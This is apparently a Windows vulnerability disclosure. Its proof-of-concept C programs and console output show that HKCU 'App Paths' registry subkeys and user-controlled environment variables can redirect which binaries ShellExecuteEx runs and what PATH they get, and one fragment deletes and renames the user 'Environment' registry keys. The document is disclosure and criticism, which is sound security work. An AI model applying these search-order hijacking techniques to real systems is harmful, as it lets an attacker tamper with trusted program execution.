			if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
				dwError = GetLastError();
			else
			{
				if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
					dwError = GetLastError();
				else
				{
					for (lpBlunder = lpBlock;
					     lpBlunder[0] != L'\0';
					     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
						continue;
					if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
						dwError = GetLastError();
					else
						if (dwError ^= dwBlunder)
							dwError = ERROR_WRITE_FAULT;
					//	else
					//		dwError = ERROR_SUCCESS;
					if (!DestroyEnvironmentBlock(lpBlock))
						dwError = GetLastError();
				}
				if (!CloseHandle(hToken))
					dwError = GetLastError();
			}
#ifdef BLUNDER
			dwError = RegDeleteKey(HKEY_CURRENT_USER, L"Environment");
#else
			dwError = RegDeleteKey(HKEY_CURRENT_USER, L"Volatile Environment");
#endif
		}
#ifdef BLUNDER
		dwError = RegRenameKey(HKEY_CURRENT_USER, L"Blunder", L"Environment");
#else
		dwError = RegRenameKey(HKEY_CURRENT_USER, L"Blunder", L"Volatile Environment");
#endif
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 24. a first time:
        
CL.EXE blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
 Execute the console application blunder.exe built in
            step 25. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
COMPUTERNAME=AMNESIAC
NUMBER_OF_PROCESSORS=4
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=5e03
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
         Compile and link the source file blunder.c overwritten
            in step 24. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
 Execute the console application blunder.exe built in
            step 27. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
COMPUTERNAME=AMNESIAC
NUMBER_OF_PROCESSORS=4
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=5e03
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
        usualundocumented) dependency of Windows NT on the user-controlled environment variable
SystemRoot is a
            well-known weakness, documented as
            CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
            CWE-73: External Control of File Name or Path,
            CWE-426: Untrusted Search Path
            and
            CWE-427: Uncontrolled Search Path Element
            in the
            CWE™
            – it allows well-known attacks like
            CAPEC-13: Subverting Environment Variable Values
            and
            CAPEC-471: Search Order Hijacking
            documented in the
            CAPEC™.
         Note: a proper implementation uses the
            NtSystemRoot[MAX_PATH] member of the
            KUSER_SHARED_DATA structure mapped into
            every process at address 0x7FFE000 to get the path
            name of the Windows\ directory or calls one of the
            Win32 functions
            GetAllUsersProfileDirectory(),
            GetDefaultUserProfileDirectory(),
            GetProfilesDirectory(),
            GetSystemDirectory(),
            GetSystemWindowsDirectory(),
            GetSystemWow64Directory(),
            GetUserProfileDirectory(),
            GetVolumePathName(),
            GetWindowsDirectory(),
            SHGetFolderPath()
            and
            SHGetKnownFolderPath()
            to determine (system) path names instead to evaluate user-controlled
            environment variables!
            Profiles Directory
            Secure loading of libraries to prevent DLL preloading attacks
        
Loading the WAB32.dllsection:
With Microsoft Internet Explorer 4.0 or later, Wab32.dll is set in the registry atNote: Internet Explorer 4.0 was shipped with Windows NT 4!HKLM\Software\Microsoft\WAB\DLLPath
 Windows Address Book
            was last shipped with Windows Server 2003 R2, its
            successor
            Windows Contacts
            was first shipped with Windows Vista and is still
            shipped with Windows 10 and
            Windows Server 2022 – the
            DLL
            WAB32.dll is therefore present
            and registered in Windows NT until today.
        
The MSDN article Application Registration specifies:
When the ShellExecuteEx function is called with the name of an executable file in its lpFile parameter, there are several places where the function looks for the file. We recommend registering your application in the App Paths registry subkey. Doing so avoids the need for applications to modify the system PATH environment variable.Note: the Win32 functionThe file is sought in the following locations:
[…] An application that is installed for per user can be registered under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths. An application that is installed for all users of the computer can be registered under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths.
- The current working directory.
- The Windows directory only (no subdirectories are searched).
- The Windows\System32 directory.
- Directories listed in the PATH environment variable.
- Recommended: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
The entries found under App Paths are used primarily for the following purposes:
If the name of a subkey of App Paths matches the file name, the Shell performs two actions:
- To map an application's executable file name to that file's fully qualified path.
- To pre-pend information to the PATH environment variable on a per-application, per-process basis.
- The (Default) entry is used as the file's fully qualified path.
- The Path entry for that subkey is pre-pended to the PATH environment variable of that process. If this is not required, the Path value can be omitted.
ShellExecute()
            uses both registry keys of course too!
         OUCH⁰: both
            MSDN articles
            but fail to warn that the evaluated registry entries may reference
            user-controlled environment variables!
            SHELLEXECUTEINFO
            Launching Applications (ShellExecute, ShellExecuteEx, SHELLEXECUTEINFO)
            Registry Keys Affected by Windows Installations That Include Windows on Windows (WOW) Support For Multiple Processor Architectures
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	SHELLEXECUTEINFO sei = {sizeof(sei),
	                        SEE_MASK_NOASYNC | SEE_MASK_NOCLOSEPROCESS | SEE_MASK_NO_CONSOLE | SEE_MASK_UNICODE,
	                        HWND_DESKTOP,
	                        (LPCWSTR) NULL,			// lpVerb
#ifndef BLUNDER
	                        L"blunder.exe",			// lpFile
#elif 0
	                        L"control.exe",
#elif 0
	                        L"notepad.exe",
#elif BLUNDER == 1
	                        L"regedit.exe",
#elif BLUNDER == 2
	                        L"taskmgr.exe",
#elif BLUNDER == 3
	                        L"wordpad.exe",
#elif BLUNDER == 4
	                        L"without.",
#elif BLUNDER == 5
	                        L"unknown.#$@",
#elif BLUNDER == 6
	                        L"invalid.?*",
#else
	                        L"\a\b\f\n\r\t\v\".<|>",	// lpFile
#endif
	                        L"%COMSPEC% /D /C SET PATH",	// lpParameters
	                        L".",				// lpDirectory
	                        SW_SHOWNORMAL,
	                        (HINSTANCE) NULL,
	                        NULL,
	                        (LPCWSTR) NULL,
	                        HKEY_CLASSES_ROOT,
	                        0UL,
	                        (HANDLE) NULL,
	                        (HANDLE) NULL};
	HKEY	hAppPaths;
	HKEY	hBlunder;
	DWORD	dwBlunder;
	DWORD	dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
		                       L"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths",
		                       REG_OPTION_RESERVED,
		                       DELETE | KEY_CREATE_SUB_KEY,
		                       &hAppPaths);
	if (dwError == ERROR_SUCCESS)
	{
#ifdef BLUNDER
		dwBlunder = RegCreateKeyEx(hAppPaths,
		                           L"cmd.exe",
		                           0UL,
		                           (LPWSTR) NULL,
		                           REG_OPTION_VOLATILE,
		                           KEY_SET_VALUE,
		                           (LPSECURITY_ATTRIBUTES) NULL,
		                           &hBlunder,
		                           (LPDWORD) NULL);
		if (dwBlunder == ERROR_SUCCESS)
		{
			dwBlunder = RegSetValueEx(hBlunder,
			                          L"Path",
			                          0UL,
			                          REG_EXPAND_SZ,
#if BLUNDER == 1
			                          (LPBYTE) L"%PUBLIC%\\Blunder",
			                          sizeof(L"%PUBLIC%\\Blunder"));
#elif BLUNDER == 2
			                          (LPBYTE) L"%ALLUSERSPROFILE%\\Blunder",
			                          sizeof(L"%ALLUSERSPROFILE%\\Blunder"));
#elif BLUNDER == 3
			                          (LPBYTE) L"%LOGONSERVER%\\ADMIN$",
			                          sizeof(L"%LOGONSERVER%\\ADMIN$"));
#endif
			dwBlunder |= RegCloseKey(hBlunder);
		}
#endif
		dwBlunder = RegCreateKeyEx(hAppPaths,
		                           sei.lpFile,
		                           0UL,
		                           (LPWSTR) NULL,
		                           REG_OPTION_VOLATILE,
		                           KEY_SET_VALUE,
		                           (LPSECURITY_ATTRIBUTES) NULL,
		                           &hBlunder,
		                           (LPDWORD) NULL);
		if (dwBlunder == ERROR_SUCCESS)
		{
			dwBlunder = RegSetValueEx(hBlunder,
			                          (LPCWSTR) NULL,
			                          0UL,
			                          REG_EXPAND_SZ,
#ifndef blunder
			                          (LPBYTE) L"%SystemRoot%\\System32\\cmd.exe",
			                          sizeof(L"%SystemRoot%\\System32\\cmd.exe"));
#elif 0
			                          (LPBYTE) L"%LOGONSERVER%\\ADMIN$\\win.ini",
			                          sizeof(L"%LOGONSERVER%\\ADMIN$\\win.ini"));
#else
			                          (LPBYTE) L"%__CD__%blunder.obj",
			                          sizeof(L"%__CD__%blunder.obj"));
#endif
			dwBlunder |= RegSetValueEx(hBlunder,
			                           L"Path",
			                           0UL,
			                           REG_EXPAND_SZ,
			                           (LPBYTE) L"%USERPROFILE%\\Blunder",
			                           sizeof(L"%USERPROFILE%\\Blunder"));
			dwBlunder |= RegCloseKey(hBlunder);
		}
		if (dwBlunder == ERROR_SUCCESS)
		{
			if (!ShellExecuteEx(&sei))
				dwError = GetLastError();
			else
			{
				if (WaitForSingleObject(sei.hProcess, INFINITE) == WAIT_FAILED)
					dwError = GetLastError();
				if (!GetExitCodeProcess(sei.hProcess, &dwError))
					dwError = GetLastError();
				else
					dwError = 0UL - dwError;
				if (!CloseHandle(sei.hProcess))
					dwError = GetLastError();
			}
			dwBlunder = RegDeleteKey(hAppPaths, sei.lpFile);
#ifdef BLUNDER
			dwBlunder = RegDeleteKey(hAppPaths, L"cmd.exe");
#endif
		}
		dwBlunder = RegCloseKey(hAppPaths);
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib shell32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
0
            OUCH¹: contrary to the highlighted statements
            of the second
            MSDN article
            cited above, the Win32 function
            ShellExecuteEx()
            fails to search the current working directory if a registry subkey
            with the name from the lpFile member (here
            blunder.exe) of its argument exists in the registry key
            HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths
            or
            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
            and the value read from the (unnamed) default entry of this registry
            subkey is the fully qualified path name of an existing file!
         OUCH²: it but fails to evaluate the registry
            entry named Path in the registry subkey with the name
            from the lpFile member (here blunder.exe)
            of its argument – the environment variable PATH
            is not altered for the executed (target)
            application (here the Command Processor
            %SystemRoot%\System32\cmd.exe)!
        
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Path=C:\Users\Public\Blunder;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
0
            OUCH³: contrary to the highlighted statements
            of the second
            MSDN article
            cited above, the Win32 function
            ShellExecuteEx()
            fails to search the Windows directory
            %SystemRoot%\ if a registry subkey with the name from
            the lpFile member (here regedit.exe) of
            its argument exists in the registry key
            HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths
            or
            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
            and the value read from the (unnamed) default entry of this registry
            subkey is the fully qualified path name of an existing file!
         OUCH⁴: it evaluates the registry entry named
            Path in the registry subkey with the file name (here
            cmd.exe) of the target application
            instead of that from the lpFile member of its argument!
        
 Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 2:
        
CL.EXE /DBLUNDER=2 blunder.c advapi32.lib kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Path=C:\ProgramData\Blunder;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
0
            OUCH⁵: contrary to the highlighted statements
            of the second
            MSDN article
            cited above, the Win32 function
            ShellExecuteEx()
            fails to search the system directory
%SystemRoot%\System32\ if a registry subkey with the
            name from the lpFile member (here
            taskmgr.exe) of its argument exists in the registry key
            HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths
            or
            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
            and the value read from the (unnamed) default entry of this registry
            subkey is the fully qualified path name of an existing file!
         Compile and link the source file blunder.c created in
            step 1. a fourth time, now with the preprocessor macro
            BLUNDER defined as 3:
        
CL.EXE /DBLUNDER=3 blunder.c advapi32.lib kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Create an empty file wordpad.exe in one of the
            directories listed in the environment variable PATH,
            then execute the console application blunder.exe built
            in step 8. and evaluate its exit code:
        
FOR %? IN ("%PATH:;=" "%") DO @SET BLUNDER=%~?
IF /I NOT "%BLUNDER%" == "%LOCALAPPDATA%\Microsoft\WindowsApps" (
MKDIR Blunder
SET BLUNDER=%CD%\Blunder
SET PATH=%PATH%;%CD%\Blunder)
COPY NUL: "%BLUNDER%\wordpad.exe"
.\blunder.exe
ECHO %ERRORLEVEL%
            Note: the first command line assigns the last
            semicolon-separated directory name from the environment variable
            PATH to the environment variable BLUNDER.
                1 file(s) copied.
Path=\\AMNESIAC\ADMIN$;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
0
            OUCH⁶: contrary to the highlighted statements
            of the second
            MSDN article
            cited above, the Win32 function
            ShellExecuteEx()
            fails to search the directories listed in the environment variable
            PATH if a registry subkey with the name from the
            lpFile member of its argument (here
            wordpad.exe) exists in the registry key
            HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths
            or
            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
            and the value read from the (unnamed) default entry of this registry
            subkey is the fully qualified path name of an existing file!
         Note: it searches the file specified in the
            lpFile member of its argument only if no registry
            subkey with this name exists in the registry keys
            HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths
            and
            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths,
            no (unnamed) default entry exists in these subkeys or its (expanded)
            value is not the fully qualified path name of an existing file!
        
 Note: a registry subkey (here
            wordpad.exe) in the registry key
            HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths
            has precedence over one in the registry key
            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths!
        
 Compile and link the source file blunder.c created in
            step 1. a fifth time, now with the preprocessor macro
            BLUNDER defined as 4:
        
CL.EXE /DBLUNDER=4 blunder.c advapi32.lib kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 10 and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
0
            Note: the Win32 function
            ShellExecuteEx()
            evaluates the registry subkey for an lpFile member
            (here without.) of its argument without file extension!
         Compile and link the source file blunder.c created in
            step 1. a sixth time, now with the preprocessor macro
            BLUNDER defined as 5:
        
CL.EXE /DBLUNDER=5 blunder.c advapi32.lib kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 12. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
0
            Note: the Win32 function
            ShellExecuteEx()
            evaluates the registry subkey also for an lpFile member
            (here unknown.#$@) of its argument with
            arbitrary (not associated) file extension!
         Compile and link the source file blunder.c created in
            step 1. a seventh time, now with the preprocessor macro
            BLUNDER defined as 6:
        
CL.EXE /DBLUNDER=6 blunder.c advapi32.lib kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 14. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
0
            OOPS¹: the Win32 function
            ShellExecuteEx()
            accepts a file name with invalid file extension
            (here invalid.?* – question mark and asterisk are
            illegal characters in a file name) in the lpFile member
            of its argument and evaluates that registry subkey!
         Compile and link the source file blunder.c created in
            step 1. an eighth time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 blunder.c advapi32.lib kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 16. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
0
            OOPS²: the Win32 function
            ShellExecuteEx()
            also accepts an invalid file name (here
            \a\b\f\n\r\t\v\".<|> – control
            characters, double quote, less than, vertical bar and greater than
            are illegal in a file name) in the lpFile member of
            its argument and evaluates that registry subkey!
         Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 18. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x483 (WIN32: ERROR_NO_ASSOCIATION 1155) -- 1155 (1155) Error message text: No application is associated with the specified file for this operation. CertUtil: -error command completed successfully.Note: the Win32 function
ShellExecuteEx()
            interprets the fully qualified path name read from the (unnamed)
            default entry of the registry subkey like an lpFile
            member of its argument – except for the registry subkey
            evaluation.
         Start the Command Processor
            Cmd.exe in an
            arbitrary, preferable empty directory, then query the
            registry keys named above:
        
REG.EXE QUERY HKLM\Software\Microsoft\WAB\DLLPath REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths" /C /D /F % /S REG.EXE QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths" /C /D /F % /SNote: the command lines can be copied and pasted as block into a Command Processor window.
HKEY_LOCAL_MACHINE\Software\Microsoft\WAB\DLLPath
    (Default)    REG_EXPAND_SZ    %CommonProgramFiles%\System\wab32.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\licensemanagershellext.exe
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\licensemanagershellext.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mip.exe
    (Default)    REG_EXPAND_SZ    %CommonProgramFiles%\Microsoft Shared\Ink\mip.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mplayer2.exe
    (Default)    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
    Path    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pbrush.exe
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\mspaint.exe
    Path    REG_EXPAND_SZ    %SystemRoot%\System32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PowerShell.exe
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\WindowsPowerShell\v1.0\PowerShell.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SnippingTool.exe
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\SnippingTool.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TabTip.exe
    (Default)    REG_EXPAND_SZ    %CommonProgramFiles%\microsoft shared\ink\TabTip.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wab.exe
    (Default)    REG_EXPAND_SZ    %ProgramFiles%\Windows Mail\wab.exe
    Path    REG_EXPAND_SZ    %ProgramFiles%\Windows Mail
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wabmig.exe
    (Default)    REG_EXPAND_SZ    %ProgramFiles%\Windows Mail\wabmig.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wmplayer.exe
    (Default)    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
    Path    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\WORDPAD.EXE
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\WRITE.EXE
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"
End of search: 16 match(es) found.
End of search: 0 match(es) found.
            OUCH⁷: the (highlighted) references to the
            environment variables CommonProgramFiles,
            ProgramFiles, ProgramFiles(x86) and
            SystemRoot constitute a safety as well as security
            hazard – they allow to tamper with the execution of
            WAB32.dll,
            LicenseManagerShellExt.exe,
            MIP.exe,
            MPlayer2.exe,
            PBrush.exe,
            PowerShell.exe,
            SnippingTool.exe,
            TabTip.exe,
            WAB.exe,
            WABMig.exe,
            WMPlayer.exe,
            WordPad.exe and
            Write.exe!
         OOPS³: the two underlined registry keys and
            the seven underlined registry entries are superfluous – the
            system directory
 %SystemRoot%\System32\ is the
            first one listed in the environment variable PATH and
            the application directory
 is implicitly searched first!
        
